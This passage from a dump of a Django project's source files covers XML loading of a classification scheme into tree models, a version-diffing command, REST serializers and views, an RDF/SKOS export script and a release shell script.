treenodes...')\n self.store_treenode(root)\n\n log('Done.')\n\n def get_tree_root(self, dataset_version, file_release):\n data_path = os.path.join(\n settings.DATA_DIR,\n self.dt_conf['data_path'].substitute(version=dataset_version)\n )\n\n xml_name = self.dt_conf['xml_name'].substitute(\n version=dataset_version,\n lang=self.lang,\n release=file_release\n )\n\n if self.xml:\n file_obj = open(os.path.join(data_path, xml_name))\n else:\n zip_name = self.dt_conf['zip_name'].substitute(\n version=dataset_version,\n release=file_release\n )\n zip_file = zipfile.ZipFile(os.path.join(data_path, zip_name))\n file_obj = zip_file.open(xml_name)\n\n tree = etree.parse(file_obj, self.parser)\n return tree.getroot()\n\n def tag(self, tagname):\n # Replaces URI prefix by local prefix within qualified tag name\n # e.g. {uri}tag => pfx:tag\n return tagname.replace(self.NS, self.NSpfx)\n\n def tags(self, tagname_list):\n # Replaces local prefix by URI prefix within qualified tag names list\n return [n.replace(self.NSpfx, self.NS) for n in tagname_list]\n\n def get_attr_types(self):\n return dict([(\n a['name'], a['id']\n ) for a in AttributeType.objects.filter(\n doctype=self.doctype\n ).order_by().values('id', 'name')])\n\n def get_attrs(self):\n return dict([(\n (a['type__name'], a['value']), a['id']\n ) for a in Attribute.objects.select_related('attributetype').filter(\n type__doctype=self.doctype\n ).order_by().values(\n 'id', 'type__name', 'value'\n )])\n\n def get_elt_types(self):\n return dict([(e['name'], e['id']) for e in ElementType.objects.filter(\n doctype=self.doctype\n ).order_by().only('id', 'name').values('id', 'name')])\n\n def get_elts(self):\n return dict([(\n '_'.join([e['type__name'], e['text__name'], e['attrs_key']]), e['id']\n ) for e in Element.objects.select_related(\n 'elementtype', 'text'\n ).filter(type__doctype=self.doctype).values(\n 'id', 'type__name', 'text__name', 'attrs_key'\n )])\n\n def get_texts(self):\n return dict([(e['name'], e['id']) for e in Text.objects.filter(\n doctype=self.doctype\n ).only('id', 'name').values('id', 'name')])\n\n def cleanup(self, root):\n for r in self.dt_conf['remove_elts']:\n n = r.split(':')\n name = n[-1]\n for e in root.xpath('//*[local-name() = \"%s\"]' % name):\n e.getparent().remove(e)\n\n for r in self.dt_conf['remove_attrs']:\n n = r.split(':')\n name = n[-1]\n qname = n[0]\n if len(n) > 1:\n qname = '{%s}%s' % (self.NSMAP[n[0]], n[1])\n\n for e in root.xpath('//*[@*[local-name() = \"%s\"]]' % name):\n e.attrib.pop(qname)\n\n @with_connection_usable\n def store_attributes(self, new_attrs_values):\n log('Storing attributes...')\n attr_types = self.get_attr_types()\n Attribute.objects.bulk_create([\n Attribute(\n type_id=attr_types[name],\n value=value\n ) for name, value in new_attrs_values\n ])\n\n @with_connection_usable\n def store_elements(self, new_elts_values):\n log('Storing elements...')\n elt_types = self.get_elt_types()\n texts_ids = self.get_texts()\n attrs_objs = self.get_attrs()\n\n new_elts = []\n for name, text_name, attrs_key, attrs in new_elts_values:\n new_elts.append(\n Element(\n type_id=elt_types[name],\n text_id=texts_ids[text_name],\n attrs_key=attrs_key,\n main_attrs=md5(''.join(\n [n + v for n, v in attrs if n in self.dt_conf[\n 'main_attrs'\n ]]\n )).hexdigest()\n )\n )\n Element.objects.bulk_create(new_elts)\n\n log('Attaching attributes...')\n self.elts = self.get_elts()\n through_model = Element.attributes.through\n\n attrs_sets = []\n for name, text_name, attrs_key, attrs in new_elts_values:\n e = self.elts['_'.join([name, text_name, attrs_key])]\n for a in attrs:\n attrs_sets.append(\n through_model(\n attribute_id=attrs_objs[a],\n element_id=e\n )\n )\n through_model.objects.bulk_create(attrs_sets)\n\n def create_text_object(self, e, tag, new_texts):\n if tag not in self.dt_conf['mixed_elts']:\n contents = ''\n else:\n # Serialize descendance as string, removing root element tags\n # and stripping normal and non-breaking spaces\n contents = etree.tostring(e, with_tail=False, encoding='unicode')\n for k, v in e.nsmap.iteritems():\n contents = contents.replace(' xmlns:%s=\"%s\"' % (k, v), '')\n contents = contents.replace(\n '<%s>' % tag, ''\n ).replace(\n '</%s>' % tag, ''\n ).strip(u'\\xA0 ')\n\n text_name = md5(contents.encode('utf-8')).hexdigest()\n\n if text_name in self.text_names:\n return text_name\n\n self.text_names.add(text_name)\n\n # Create text object\n new_texts.append(Text(\n doctype=self.doctype,\n name=text_name,\n contents=contents\n ))\n return text_name\n\n def get_elt_FP(self, node):\n '''\n Returns a String made of MD5 hex digest of an element canonized subtree\n '''\n\n return md5(etree.tostring(node, method=\"c14n\")).hexdigest()\n\n def collect_elt_values(self, e, tag, text_name, attrs, new_elts_values):\n attrs_key = ''\n if attrs:\n attrs_key = md5(\n ''.join([name + value for name, value in attrs])\n ).hexdigest()\n\n values = (tag, text_name, attrs_key)\n\n if values not in self.elt_values:\n new_elts_values.append(values + (attrs,))\n\n self.elt_values.add(values)\n\n # Store element keys so that element object\n # that will be created can be retrieved when building tree\n self.elt_FPs[self.get_elt_FP(e)] = '_'.join(values)\n\n @with_connection_usable\n def store_treeleaves(self, root):\n new_attr_values = []\n new_texts = []\n new_elts_values = []\n\n for e in root.iter(self.tags(self.dt_conf['container_elts'])):\n tag = self.tag(e.tag)\n\n text_name = self.create_text_object(e, tag, new_texts)\n\n attrs = [(k, e.get(k)) for k in sorted(e.keys()) if e.get(k)]\n for a in attrs:\n if a in self.attr_values:\n continue\n new_attr_values.append(a)\n self.attr_values.add(a)\n\n self.collect_elt_values(e, tag, text_name, attrs, new_elts_values)\n\n self.store_attributes(new_attr_values)\n\n # Store texts\n Text.objects.bulk_create(new_texts)\n\n self.store_elements(new_elts_values)\n\n @with_connection_usable\n def store_element_types(self, new_elt_types, new_elt_types_attrs):\n ElementType.objects.bulk_create(new_elt_types)\n\n elt_types = self.get_elt_types()\n attr_types = self.get_attr_types()\n\n through_model = ElementType.attributes.through\n attrs_sets = []\n for name, attrs in new_elt_types_attrs.iteritems():\n e = elt_types[name]\n for a in attrs:\n attrs_sets.append(\n through_model(\n attributetype_id=attr_types[a],\n elementtype_id=e\n )\n )\n through_model.objects.bulk_create(attrs_sets)\n\n @with_connection_usable\n def store_treeleaves_and_types(self, root):\n attr_names = set([\n a['name'] for a in AttributeType.objects.filter(\n doctype=self.doctype\n ).order_by().values('name')\n ])\n\n new_attr_values = set()\n new_attr_types = []\n\n elt_names = set([\n e['name'] for e in ElementType.objects.filter(\n doctype=self.doctype\n ).order_by().values('name')\n ])\n\n new_elt_types = []\n new_elt_types_attrs = {}\n\n new_texts = []\n new_elts_values = []\n\n for e in root.iter(self.tags(self.dt_conf['container_elts'])):\n tag = self.tag(e.tag)\n\n # Create text object\n text_name = self.create_text_object(e, tag, new_texts)\n\n if tag not in elt_names:\n # Create element type object\n new_elt_types.append(ElementType(\n doctype=self.doctype,\n name=tag,\n is_mixed=tag in self.dt_conf['mixed_elts'],\n is_main=tag in self.dt_conf['main_elts']\n ))\n elt_names.add(tag)\n\n if tag not in new_elt_types_attrs:\n new_elt_types_attrs[tag] = set()\n\n attrs = [(k, e.get(k)) for k in sorted(e.keys()) if e.get(k)]\n for name, value in attrs:\n new_elt_types_attrs[tag].add(name)\n\n if (name, value) in self.attr_values:\n continue\n\n self.attr_values.add((name, value))\n new_attr_values.add((name, value))\n\n if name in attr_names:\n continue\n\n # Create attribute type object\n new_attr_types.append(AttributeType(\n doctype=self.doctype,\n name=name,\n is_main=name in self.dt_conf['main_attrs'],\n skip=name in self.dt_conf['skip_attrs']\n ))\n attr_names.add(name)\n\n self.collect_elt_values(e, tag, text_name, attrs, new_elts_values)\n\n # Store attribute types\n AttributeType.objects.bulk_create(new_attr_types)\n\n self.store_attributes(new_attr_values)\n\n self.store_element_types(new_elt_types, new_elt_types_attrs)\n\n # Store texts\n Text.objects.bulk_create(new_texts)\n\n self.store_elements(new_elts_values)\n\n #@with_connection_usable\n def store_treenode(self, elt, parent=None):\n # Attach retrieved leaf element to a new treenode\n # Leaf element is retrieved by keys collected during leaves storage\n fingerprint = self.get_elt_FP(elt)\n treenode = TreeNode(\n parent=parent,\n fingerprint=fingerprint,\n dataset=self.dataset,\n element_id=self.elts[self.elt_FPs[fingerprint]]\n )\n treenode.save()\n\n # Process children nodes\n if self.tag(elt.tag) not in self.dt_conf['mixed_elts']:\n for child in elt:\n self.store_treenode(elt=child, parent=treenode)\n\n\ndef load(doctype_name, dataset_version, lang='en', file_release='', no_types=False, xml=False):\n XMLTreeLoader(doctype_name, dataset_version, lang, file_release, no_types, xml)\n"
},
{
"alpha_fraction": 0.5369003415107727,
"alphanum_fraction": 0.5415129065513611,
"avg_line_length": 26.794872283935547,
"blob_id": "df83275262700fe25109e4dc526e27d2d687ecbe",
"content_id": "9d4518a3666893ddb6a634fa3fc0b250899ff22a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1084,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 39,
"path": "/project/app_operations/management/commands/load_xml.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.core.management.base import BaseCommand\nfrom optparse import make_option\nfrom _xml_load import load\n\n\nclass Command(BaseCommand):\n help = 'Load an XML File'\n args = '<doctype_name dataset_version lang [file_release] ...>'\n\n option_list = BaseCommand.option_list + (\n make_option(\n '--xml',\n action='store_true',\n dest='xml',\n default=False,\n help='Read XML file directly from disk instead from ZIP archive'\n ),\n make_option(\n '--no_types',\n action='store_true',\n dest='no_types',\n default=False,\n help='Do not register element and attribute types'\n ),\n )\n\n def handle(self, *args, **options):\n doctype_name = args[0]\n dataset_version = args[1]\n lang = args[2]\n\n file_release = ''\n if len(args) == 4:\n file_release = args[3]\n\n load(\n doctype_name, dataset_version, lang, file_release,\n no_types=options['no_types'], xml=options['xml']\n )\n"
},
{
"alpha_fraction": 0.7317625880241394,
"alphanum_fraction": 0.7317625880241394,
"avg_line_length": 29.23287582397461,
"blob_id": "27cd640802aaae03a30d0a9c421445d761bb76ab",
"content_id": "a5c114d9e165e14273e170aa711705e4adc88bb7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2207,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 73,
"path": "/project/app_tree/serializers.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from rest_framework import serializers, pagination\nfrom models import Attribute, Text, TreeNode\n\n\nclass AttributeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Attribute\n fields = ('name', 'value')\n\n\nclass TextSerializer(serializers.ModelSerializer):\n class Meta:\n model = Text\n fields = ('lang', 'contents')\n\n\nclass ChildSerializer(serializers.ModelSerializer):\n class Meta:\n model = TreeNode\n fields = ('id',)\n\n\nclass ElementSerializer(serializers.ModelSerializer):\n attributes = AttributeSerializer(many=True)\n children = ChildSerializer(many=True)\n text = TextSerializer(many=True)\n\n class Meta:\n model = TreeNode\n fields = ('id', 'element.elt_type.name', 'element.attributes', 'element.text', 'children')\n\n\nclass HtmlDataSerializer(serializers.Serializer):\n text = serializers.CharField(source='texts_html')\n\n\nclass RecursiveField(serializers.Serializer):\n def to_representation(self, value):\n serializer = self.parent.parent.__class__(value, context=self.context)\n return serializer.data\n\n\nclass KeySerializer(serializers.Serializer):\n key = serializers.CharField(source='pk')\n\n\n# class PaginatedKeySerializer(pagination.PaginationSerializer):\n# class Meta:\n# object_serializer_class = KeySerializer\n\n\nclass ChildFancySerializer(KeySerializer):\n # FancyTree specific values\n title = serializers.CharField(source='element.type.name')\n folder = serializers.BooleanField(source='is_container')\n lazy = serializers.BooleanField(source='element.type.is_main')\n expanded = serializers.BooleanField()\n children = RecursiveField(source='lazy_children', required=False, many=True)\n\n # Subsequent FancyTreeTable columns values\n\n attrs = serializers.CharField(source='element.attributes_html')\n text = serializers.CharField(source='element.text.texts_html')\n\n\nclass ChildDiffFancySerializer(ChildFancySerializer):\n text_diff = serializers.CharField()\n attrs_diff = serializers.CharField()\n diff_kind = serializers.CharField()\n\n\nclass ChildFancyNoTableSerializer(ChildDiffFancySerializer):\n title = serializers.CharField(source='element.values')\n"
},
{
"alpha_fraction": 0.46300631761550903,
"alphanum_fraction": 0.48138609528541565,
"avg_line_length": 36.80088424682617,
"blob_id": "df57adfaea2c8b3268d3906026f02ba5fa598305",
"content_id": "a5a5124d390490049685ac33a8d8bd5840f2ecb3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8542,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 226,
"path": "/project/app_operations/management/commands/_diff_treenodes.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "import time\nfrom django.db import transaction\nfrom app_tree.models import Doctype, Element, Attribute, Text, TreeNode, Diff\n\n\ndef log(msg):\n print '(%s) %s' % (time.strftime('%H:%M:%S'), msg)\n\n\nclass DiffTrees:\n def __init__(self, doctype_name, dataset_version1, dataset_version2):\n root1 = TreeNode.objects.root_nodes().get(\n dataset__name=dataset_version1,\n dataset__doctype__name=doctype_name\n )\n\n root2 = TreeNode.objects.root_nodes().get(\n dataset__name=dataset_version2,\n dataset__doctype__name=doctype_name\n )\n\n with transaction.atomic():\n with TreeNode.objects.delay_mptt_updates():\n self.diff(root1, root2)\n\n def value(self, node):\n return (\n node.element.type,\n node.element.text,\n node.element.main_attrs\n )\n\n def children_values(self, node):\n return [\n self.value(n) for n in node.get_children()\n ]\n\n def create_shadow(self, node, dataset):\n t = None\n if node.element.type.is_mixed:\n t, c = Text.objects.get_or_create(\n contents='',\n name='empty',\n doctype=node.element.type.doctype\n )\n e, c = Element.objects.get_or_create(\n type=node.element.type,\n text=t,\n attrs_key=node.element.attrs_key,\n main_attrs=node.element.main_attrs\n )\n return TreeNode(\n element=e, dataset=dataset, is_diff_only=True\n )\n\n def diff(self, node1, node2, main_attr=''):\n main_attrs = node1.element.attributes.filter(type__is_main=True)\n if main_attrs.exists():\n main_attr = ' ' + ' '.join([a.value for a in main_attrs])\n\n elt_name = node1.element.type.name\n location = elt_name + main_attr\n\n try:\n diff_obj = Diff.objects.get(treenode1=node1, treenode2=node2)\n except:\n diff_obj = Diff(treenode1=node1, treenode2=node2)\n\n if diff_obj.is_del_diff:\n print location + ' has been deleted.'\n return\n # No need to go on if node has been deleted\n\n if diff_obj.is_ins_diff:\n print location + ' has been inserted.'\n return\n # No need to go on if node has been inserted\n\n if elt_name != node2.element.type.name:\n print location + ' != ' + node2.element.type.name\n if not node1.is_root_node():\n diff_obj.is_type_diff = True\n diff_obj.save()\n return\n # No need to go on if both elements are not of same type\n\n if node1.element.main_attrs != node2.element.main_attrs:\n print location + ' main attributes differ.'\n if not node1.is_root_node():\n diff_obj.is_attrs_diff = True\n diff_obj.save()\n return\n # No need to go on if both elements are not of same kind\n\n if node1.element.text and node1.element.text.name != node2.element.text.name:\n print location + ' texts differ:'\n print 'Text 1: ' + node1.element.text.contents\n print 'Text 2: ' + node2.element.text.contents\n diff_obj.is_texts_diff = True\n diff_obj.save()\n\n # if self.children_values(node1) != self.children_values(node2):\n # print location + ' children differ.'\n\n seqdiff = True\n\n if not seqdiff:\n nodes1 = node1.get_children()\n nodes2 = node2.get_children()\n nodes1list = list(nodes1.all())\n\n idx2 = 0\n for n2 in node2.get_children():\n match = False\n idx2 += 1\n idx1 = 0\n if n2.element.type.is_mixed:\n #TODO: something smarter for text node\n continue\n # if not nodes1list:\n # break\n for n1 in node1.get_children():\n idx1 += 1\n if n1 in nodes1list and self.value(n1) == self.value(n2):\n match = True\n break\n if match:\n nodes1list.remove(n1)\n print nodes1list\n print 'MATCH: %s ' % n1 + str(n1.element.attributes_html())\n if idx1 != idx2:\n print 'IDX1:%d != IDX2:%d' % (idx1, idx2)\n pass\n else:\n print 'SHADOW: ' + str(n1.element.attributes_html())\n n = self.create_shadow(n1, n2.dataset)\n n.insert_at(n2, position='left', save=True)\n diff_obj, c = Diff.objects.get_or_create(\n treenode1=n1,\n treenode2=n\n )\n diff_obj.is_del_diff = True\n diff_obj.save()\n\n if seqdiff:\n nb1 = node1.get_children().count()\n nb2 = node2.get_children().count()\n\n i = 0\n imax = nb1 - nb2\n while nb1 > nb2:\n # Try to insert shadow node(s) in 2nd tree to obtain same size\n if i == imax: break\n i += 1\n for nodes in zip(node1.get_children(), node2.get_children()):\n if nodes[0].element.type.is_mixed:\n #TODO: something smarter for text node\n continue\n if self.value(nodes[0]) != self.value(nodes[1]):\n n = self.create_shadow(nodes[0], nodes[1].dataset)\n n.insert_at(nodes[1], position='left', save=True)\n diff_obj, c = Diff.objects.get_or_create(\n treenode1=nodes[0],\n treenode2=n\n )\n diff_obj.is_del_diff = True\n diff_obj.save()\n nb2 += 1\n break\n\n node1_last_child = node1.get_children().last()\n while nb1 > nb2:\n # Add shadow node(s) in 2nd tree to obtain same size\n n = self.create_shadow(node1_last_child, node2.dataset)\n n.insert_at(node2, position='last-child', save=True)\n diff_obj, c = Diff.objects.get_or_create(\n treenode1=node1_last_child,\n treenode2=n\n )\n diff_obj.is_del_diff = True\n diff_obj.save()\n nb2 += 1\n\n i = 0\n imax = nb2 - nb1\n while nb2 > nb1:\n # Try to insert shadow node(s) in 1st tree to obtain same size\n if i == imax: break\n i += 1\n for nodes in zip(node1.get_children(), node2.get_children()):\n if nodes[0].element.type.is_mixed:\n #TODO: something smarter for text node\n continue\n if self.value(nodes[0]) != self.value(nodes[1]):\n n = self.create_shadow(nodes[1], nodes[0].dataset)\n n.insert_at(nodes[0], position='left', save=True)\n diff_obj, c = Diff.objects.get_or_create(\n treenode1=n,\n treenode2=nodes[1]\n )\n diff_obj.is_ins_diff = True\n diff_obj.save()\n nb1 += 1\n break\n\n node2_last_child = node2.get_children().last()\n while nb2 > nb1:\n # Add shadow node(s) in 1st tree to obtain same size\n n = self.create_shadow(node2_last_child, node1.dataset)\n n.insert_at(node1, position='last-child', save=True)\n diff_obj, c = Diff.objects.get_or_create(\n treenode1=n,\n treenode2=node2_last_child\n )\n diff_obj.is_ins_diff = True\n diff_obj.save()\n nb1 += 1\n\n for nodes in zip(node1.get_children(), node2.get_children()):\n self.diff(nodes[0], nodes[1], main_attr)\n\n\ndef diff_trees(doctype_name, dataset_version1, dataset_version2):\n log('Diffing %s and %s...' % (dataset_version1, dataset_version2))\n DiffTrees(doctype_name, dataset_version1, dataset_version2)\n log('Done.')"
},
{
"alpha_fraction": 0.5467185974121094,
"alphanum_fraction": 0.5520022511482239,
"avg_line_length": 31.84018325805664,
"blob_id": "35543a1262ed2421020e05ff3757c0a7bc14bb7f",
"content_id": "c006ba54eebcc4d0b763ddb86f7d7dec029bc594",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7192,
"license_type": "no_license",
"max_line_length": 136,
"num_lines": 219,
"path": "/project/app_tree/views.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.decorators import api_view, permission_classes\n\nfrom models import TreeNode\nfrom serializers import ElementSerializer, ChildFancyNoTableSerializer, ChildDiffFancySerializer, KeySerializer#, PaginatedKeySerializer\nfrom rest_framework.pagination import PageNumberPagination\n\ndef home(request):\n return render(request, 'fancy_index.html')\n\n\ndef mode(request, mode):\n if mode == 'table':\n return render(request, 'fancy_index.html')\n else:\n return render(request, 'fancy_notable_index.html')\n\n\nclass JSONResponse(HttpResponse):\n \"\"\"\n An HttpResponse that renders its content into JSON.\n \"\"\"\n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\n@csrf_exempt\ndef element_list(request):\n \"\"\"\n List all root elements.\n \"\"\"\n if request.method == 'GET':\n treenodes = TreeNode.objects.filter(parent=None)\n serializer = ElementSerializer(treenodes, many=True)\n return JSONResponse(serializer.data)\n\n\n@csrf_exempt\ndef element_detail(request, pk):\n \"\"\"\n Retrieve an element.\n \"\"\"\n try:\n treenode = TreeNode.objects.get(pk=pk)\n except TreeNode.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = ElementSerializer(treenode)\n return JSONResponse(serializer.data)\n\n\n@csrf_exempt\ndef element_fancy_roots(request):\n \"\"\"\n List all root elements as FancyTree nodes.\n \"\"\"\n\n if request.method == 'GET':\n treenode = TreeNode.objects.root_nodes().select_related('element').prefetch_related(\n 'element__attributes'\n )\n serializer = ChildDiffFancySerializer(treenode, many=True)\n return JSONResponse(serializer.data)\n\n\n@csrf_exempt\ndef element_fancy_children(request, mode, pk):\n \"\"\"\n List all children of an element as FancyTree nodes.\n \"\"\"\n\n if request.method == 'GET':\n treenode = TreeNode.objects.select_related('element').prefetch_related(\n 'element__attributes'\n ).filter(parent=pk)\n if mode == 'table':\n serializer = ChildDiffFancySerializer(treenode, many=True)\n else:\n serializer = ChildFancyNoTableSerializer(treenode, many=True)\n return JSONResponse(serializer.data)\n\n\n@csrf_exempt\ndef element_fancy_ancestors(request, pk):\n \"\"\"\n List all ancestors' pks of an element.\n \"\"\"\n\n if request.method == 'GET':\n treenode = TreeNode.objects.only('id').get(pk=pk)\n\n # Lazy ancestors (the ones for which element__type__is_main)\n # only are returned\n ancestors = treenode.get_ancestors(\n ascending=True,\n include_self=True\n ).filter(element__type__is_main=True)\n\n serializer = KeySerializer(ancestors, many=True)\n return JSONResponse(serializer.data)\n\n\n@csrf_exempt\n@api_view(['GET'])\ndef element_fancy_search(request, query):\n \"\"\"\n List all ancestors' pk of the first element found.\n \"\"\"\n\n queryset = TreeNode.objects.only('id')\n\n for param in query.split():\n if '!' in param:\n p = param.split('!')\n if len(p) > 2:\n break\n queryset = queryset.filter(\n dataset__doctype__name=p[0],\n dataset__name=p[1]\n )\n elif '@' in param:\n # Search specified element by attribute\n p = param.split('@')\n if len(p) > 2:\n continue\n if p[0] and p[1]:\n if '=' in p[1]:\n a = p[1].split('=')\n if len(a) > 2:\n continue\n if a[0] and a[1]:\n # 'e@a=v' Search specified element by attribute name and value\n queryset = queryset.filter(\n element__type__name=p[0],\n element__attributes__type__name=a[0],\n element__attributes__value=a[1]\n )\n elif a[1]:\n # 'e@=v' Search specified element by attribute value\n queryset = queryset.filter(\n element__type__name=p[0],\n element__attributes__value=a[1]\n )\n else:\n # 'e@a' Search specified element by attribute name\n queryset = queryset.filter(\n element__type__name=p[0],\n element__attributes__type__name=p[1],\n )\n elif p[1]:\n # Search any element by attribute\n if '=' in p[1]:\n a = p[1].split('=')\n if len(a) > 2:\n continue\n if a[0] and a[1]:\n # '@a=v' Search any element by attribute name and value\n queryset = queryset.filter(\n element__attributes__type__name=a[0],\n element__attributes__value=a[1]\n )\n elif a[1]:\n # '@=v' Search any element by attribute value\n queryset = queryset.filter(\n element__attributes__value=a[1]\n )\n else:\n # '@a' Search any element by attribute name\n queryset = queryset.filter(\n element__attributes__type__name=p[1]\n )\n else:\n # '@' Search any element with attribute\n queryset = queryset.filter(\n element__attributes__isnull=False\n )\n else:\n # if '=' in p[1]:\n # 'e=t' Search element by content\n # else:\n # 'e' Search specified element by name\n queryset = queryset.filter(\n element__type__name=param\n )\n\n paginator = PageNumberPagination()\n paginator.page_size = 1\n\n result_page = paginator.paginate_queryset(queryset, request)\n serializer = KeySerializer(result_page, many=True)\n\n return paginator.get_paginated_response(serializer.data)\n\n\n@api_view(['GET'])\ndef diffs(request, doctype_name, dataset_name):\n queryset = TreeNode.objects.select_related(\n 'dataset', 'tree2_diffs'\n ).filter(\n dataset__doctype__name=doctype_name,\n dataset__name=dataset_name,\n tree2_diffs__isnull=False\n )\n\n paginator = PageNumberPagination()\n paginator.page_size = 1\n\n result_page = paginator.paginate_queryset(queryset, request)\n serializer = KeySerializer(result_page, many=True)\n\n return paginator.get_paginated_response(serializer.data)\n"
},
{
"alpha_fraction": 0.6422893404960632,
"alphanum_fraction": 0.6454690098762512,
"avg_line_length": 25.20833396911621,
"blob_id": "70387ea14a5732b6885bd6080336a2edf611963d",
"content_id": "349680dcc8f244bdfe42f7ae63063071d3546d89",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 629,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 24,
"path": "/bin/release",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env bash\n\n# Fail fast and fail hard.\nset -eo pipefail\n\n# Paths\nBIN_DIR=$(cd $(dirname $0); pwd) # absolute path\nROOT_DIR=$(dirname $BIN_DIR)\n\npushd $ROOT_DIR > /dev/null\n [[ ! -d bin/dist ]] && mkdir bin/dist\n\n if ! [ -f bin/dist/virtualenv.zip ]; then\n echo \"Downloading/unpacking virtualenv\"\n wget https://github.com/pypa/virtualenv/archive/master.zip \\\n -O bin/dist/virtualenv.zip\n fi\n\n if [ \"$1\" != \"dist_ok\" ]; then\n venv/bin/pip install --no-install --download bin/dist -r bin/requirements.txt\n fi\n echo \"Creating archive...\"\n tar -czf ../tree.tar.gz -X bin/exclude.txt .\npopd > /dev/null\n"
},
{
"alpha_fraction": 0.7644859552383423,
"alphanum_fraction": 0.7644859552383423,
"avg_line_length": 24.4761905670166,
"blob_id": "025f22d24c4d025766efd60ac4ed895023b7285b",
"content_id": "0e9b08b4d43007827d93ccc206a50f90e2a3aa31",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 535,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 21,
"path": "/project/app_scheme/admin.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom mptt.admin import MPTTModelAdmin\nfrom app_scheme.models import Concept, Definition, Reference\n\n\nclass ConceptAdmin(MPTTModelAdmin):\n list_display = ('notation', 'label')\n\nadmin.site.register(Concept, ConceptAdmin)\n\n\nclass DefinitionAdmin(admin.ModelAdmin):\n list_display = ('concept', 'lang', 'text')\n\nadmin.site.register(Definition, DefinitionAdmin)\n\n\nclass ReferenceAdmin(admin.ModelAdmin):\n list_display = ('definition', 'lang', 'text')\n\nadmin.site.register(Reference, ReferenceAdmin)\n"
},
{
"alpha_fraction": 0.6134695410728455,
"alphanum_fraction": 0.6220874786376953,
"avg_line_length": 31.978946685791016,
"blob_id": "784710412f2883a43a7663ead54689ead2783e7e",
"content_id": "0d7f721e4279ae522dd587833dcb8e898c95634a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3133,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 95,
"path": "/project/app_operations/management/commands/_ipc2rdf.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "import os\nfrom lxml import etree\nfrom django.conf import settings\nfrom rdflib import URIRef, Literal, BNode, Namespace, Graph\nfrom rdflib.namespace import RDF, SKOS\nfrom _ipc_load import IpcEntry\n\nclass IpcSkosScheme:\n\n def get_tree(self):\n if self.tree is None:\n self.tree = etree.parse(os.path.join(settings.DATA_DIR, 'ipcr_scheme_%s.xml' % self.version))\n\n def get_entry(self, entry):\n return IpcEntry(entry, self.tree)\n\n def init_graph(self):\n self.graph = Graph()\n self.graph.bind('skos', SKOS)\n\n def add_concept(self, entry):\n concept = URIRef('#%s' % entry.id)\n self.graph.add((concept, RDF.type, SKOS.Concept))\n self.graph.add((concept, SKOS.notation, Literal(entry.id)))\n self.graph.add((concept, SKOS.prefLabel, Literal(entry.label)))\n self.graph.add((concept, SKOS.depth, Literal(str(entry.depth))))\n\n if entry.titles is not None:\n self.graph.add((concept, SKOS.definition, Literal(entry.titles, datatype=RDF.XMLLiteral)))\n\n return concept\n\n def recurse_collections(self, entry, broader):\n if len(entry.children):\n collection = self.add_collection(entry.id, broader)\n for child in entry.children:\n e = self.get_entry(child)\n concept = self.add_concept(e)\n self.graph.add((collection, SKOS.member, concept))\n self.recurse_collections(e, concept)\n\n def add_collection(self, parent_id, broader):\n collection = URIRef('#entries/%s' % parent_id)\n self.graph.add((collection, RDF.type, SKOS.Collection))\n self.graph.add((collection, SKOS.broader, broader))\n self.graph.add((broader, SKOS.narrower, collection))\n\n return collection\n\n def build_graph(self):\n self.init_graph()\n\n scheme = URIRef('#scheme')\n self.graph.add((scheme, RDF.type, SKOS.ConceptScheme))\n\n self.get_tree()\n sections = self.tree.xpath('//en')[0][0]\n for section in sections:\n s = self.get_entry(section)\n concept = self.add_concept(s)\n self.graph.add((scheme, SKOS.hasTopConcept, concept))\n self.recurse_collections(s, concept)\n\n def save_graph(self):\n fp = open(os.path.join(settings.DATA_DIR, 'ipc_%s.rdf' % self.version), 'w')\n fp.write(self.graph.serialize(format='pretty-xml'))\n fp.close()\n\n\ndef make_rdf(version):\n scheme = IpcSkosScheme(version)\n scheme.build_graph()\n scheme.save_graph()\n\n\ndef main():\n make_rdf('20140101')\n\n # CAUTION: To perform SPARQL query following namespace must be in RDF/XML file\n #xmlns:ipc=\"http://www.wipo.int/ipc/\"\n #xmlns:xhtml=\"http://www.w3.org/1999/xhtml\"\n import sys; sys.exit(0)\n ipc = Graph()\n ipc.bind('skos', SKOS)\n\n ipc.parse('ipc_20140101.rdf')\n #q = \"SELECT ?entry WHERE {?entry skos:notation 'A01N'}\"\n q = \"SELECT ?definition WHERE {?concept a skos:Concept . ?concept skos:definition ?definition}\"\n r = ipc.query(q)\n for row in r:\n print row[0]\n print len(r)\n\nif __name__ == '__main__':\n main()\n"
},
{
"alpha_fraction": 0.5368639826774597,
"alphanum_fraction": 0.5545171499252319,
"avg_line_length": 26.514286041259766,
"blob_id": "61d7ad32970cc2160d19ba1a227c5e673da2d9b7",
